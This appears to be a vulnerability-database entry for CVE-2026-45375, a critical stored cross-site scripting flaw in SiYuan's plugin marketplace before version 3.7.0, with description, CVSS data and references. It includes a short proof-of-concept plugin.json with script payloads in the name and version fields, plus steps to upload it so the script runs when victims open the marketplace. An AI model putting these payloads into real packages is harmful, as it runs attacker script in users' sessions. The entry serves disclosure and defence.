CVE-2026-45375

Description

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, SiYuan's Bazaar (community marketplace) renders the name and version fields of a package's plugin.json (and the equivalent theme.json / template.json / widget.json / icon.json) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper sanitizePackageDisplayStrings in kernel/bazaar/package.go HTML-escapes only Author, DisplayName, and Description — Name and Version flow through to the renderer raw. The frontend at app/src/config/bazaar.ts substitutes them into HTML template strings via ${item.preferredName} / ${data.name} / v${data.version} and assigns the result to innerHTML. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab. This vulnerability is fixed in 3.7.0.

CVSS Details

CVSS Score

9.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SiYuan < 3.7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

{
  "name": "<img src=x onerror=alert('XSS')>",
  "version": "1.0<script>alert(1)</script>",
  "displayName": "Malicious Plugin",
  "description": "This plugin exploits the XSS in SiYuan Bazaar."
}
// Exploit Explanation:
// 1. Create a plugin/theme with the above JSON content.
// 2. Upload it to the SiYuan Bazaar.
// 3. When a victim views the Marketplace, the 'name' and 'version' fields
//    are injected into the DOM via innerHTML, triggering the script execution.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45375
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45375
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45375/
[4] VulDB https://vuldb.com/cve/CVE-2026-45375
[5] https://github.com/siyuan-note/siyuan/security/advisories/GHSA-27qc-m5gf-jv5r

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45375", "sourceIdentifier": "[email protected]", "published": "2026-05-14T19:16:39.030", "lastModified": "2026-05-14T21:22:56.313", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, SiYuan's Bazaar (community marketplace) renders the name and version fields of a package's plugin.json (and the equivalent theme.json / template.json / widget.json / icon.json) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper sanitizePackageDisplayStrings in kernel/bazaar/package.go HTML-escapes only Author, DisplayName, and Description — Name and Version flow through to the renderer raw. The frontend at app/src/config/bazaar.ts substitutes them into HTML template strings via ${item.preferredName} / ${data.name} / v${data.version} and assigns the result to innerHTML. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab. This vulnerability is fixed in 3.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-116"}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-27qc-m5gf-jv5r", "source": "[email protected]"}]}}